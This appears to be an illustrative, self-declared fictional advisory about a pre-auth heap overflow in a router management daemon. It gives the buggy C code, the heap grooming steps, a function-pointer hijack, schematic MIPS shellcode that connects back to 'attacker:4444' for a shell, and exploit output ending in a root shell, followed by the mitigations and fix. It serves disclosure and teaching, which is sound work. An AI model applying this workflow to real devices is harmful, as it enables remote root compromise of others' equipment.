Summary
The Meshwork MX-series is a line of small-business mesh routers running a MIPS32 Linux firmware. Its management daemon, mxctld, exposes an unauthenticated device-description endpoint on the LAN (and, on misconfigured units, the WAN). A length field in that request is trusted, leading to a heap buffer overflow. Because the firmware ships without ASLR and with a deterministic allocator, this is a reliable pre-auth remote root.
Illustrative advisory. Meshwork and the MX-series are fictional; the exploitation workflow is representative of real embedded targets.
The bug
mxctld parses an XML-ish device description. It reads a declared content length, allocates a buffer, then copies the body — but the copy uses the actual body length, not the allocation size:
int parse_descr(int fd, char *hdr) {
int declared = atoi(get_field(hdr, "X-Descr-Len"));
char *buf = malloc(declared); // attacker controls declared
int n = recv_body(fd, body, MAX); // attacker controls actual body
memcpy(buf, body, n); // n can exceed declared
...
}
Declare X-Descr-Len: 64, send a 4096-byte body, and memcpy writes 4 KiB into a 64-byte chunk. There is no bounds check anywhere between the header and the copy.
Shaping the heap
The allocator is a straightforward dlmalloc variant with no hardening — no safe unlinking, no heap cookies. Adjacent to our undersized chunk sits a descr_ctx structure containing a function pointer, ctx->on_complete, invoked once parsing finishes. Our overflow runs straight through the chunk header and into that pointer.
Because there is no ASLR, every address is a constant we can read out of the firmware image. We groom the heap with a few benign requests so that descr_ctx lands immediately after our buffer:
[ our 64B buf ][ chunk hdr ][ descr_ctx { ... on_complete } ]
overflow ───────────────▶ overwrite on_complete
We do not even need a ROP chain. The firmware maps a large, static, RWX region for its Lua bridge, and the stack is executable. Overwriting on_complete with the address of an attacker-staged buffer is enough.
The payload
We stage MIPS shellcode earlier in the same body (before the overflow bytes) so it lands at a known heap address. Classic cache-coherency caveat applies on MIPS: we must flush the instruction cache, so the shellcode opens with a synci sequence before doing anything else. The stage-one is a tiny connect-back that pulls a full BusyBox sh:
# r/e MIPS stage-1 (schematic)
li $a0, 2 # AF_INET
li $a1, 1 # SOCK_STREAM
li $v0, 4183 # __NR_socket
syscall
# ...connect to attacker:4444, dup2 x3, execve /bin/sh
The overwritten on_complete transfers control to the staged buffer, the cache is flushed, and mxctld — running as root — hands us a shell.
$ ./mx_pwn 192.0.2.10
[*] grooming heap (6 reqs)
[*] sending overflow, len=4096 declared=64
[+] on_complete hijacked -> 0x00a41180
[+] shell:
# id
uid=0(root) gid=0(root)
End to end it is a single TCP connection and about 40 milliseconds.
Reliability
With no ASLR and a deterministic allocator, reliability is near 100% within a firmware version. The only variable is heap grooming, and the daemon conveniently resets its arena on each connection, so we start from a clean, predictable state every time. Different firmware builds shift the static addresses; we key the exploit off the Server: banner to pick the right offset table.
Detection and mitigation
For defenders now:
- Block
mxctld(TCP/2189) on the WAN interface — it should never face the internet. - Watch for device-description requests where the body length exceeds
X-Descr-Len; that mismatch is the entire attack.
Vendor fix (firmware 3.4.1):
- Bound the copy by the allocation:
memcpy(buf, body, min(n, declared))and reject whenn > declared. - Enable ASLR and mark the Lua region non-executable (W^X).
- Add allocator hardening (safe unlink, heap canaries) in the SDK.
Disclosure timeline
- 2026-04-28 — Reported with PoC and offsets.
- 2026-05-02 — Reproduced by vendor PSIRT.
- 2026-06-09 — Firmware 3.4.1 released.
- 2026-06-16 — Advisory published.
Takeaway
Embedded targets keep teaching the same lesson: the exploit mitigations that made desktop memory corruption hard in 2015 still haven't reached the router in your closet. When the platform gives you no ASLR, an executable heap, and a naive allocator, a two-line integer mistake is a straight line to root. The bug was trivial; the environment made it devastating.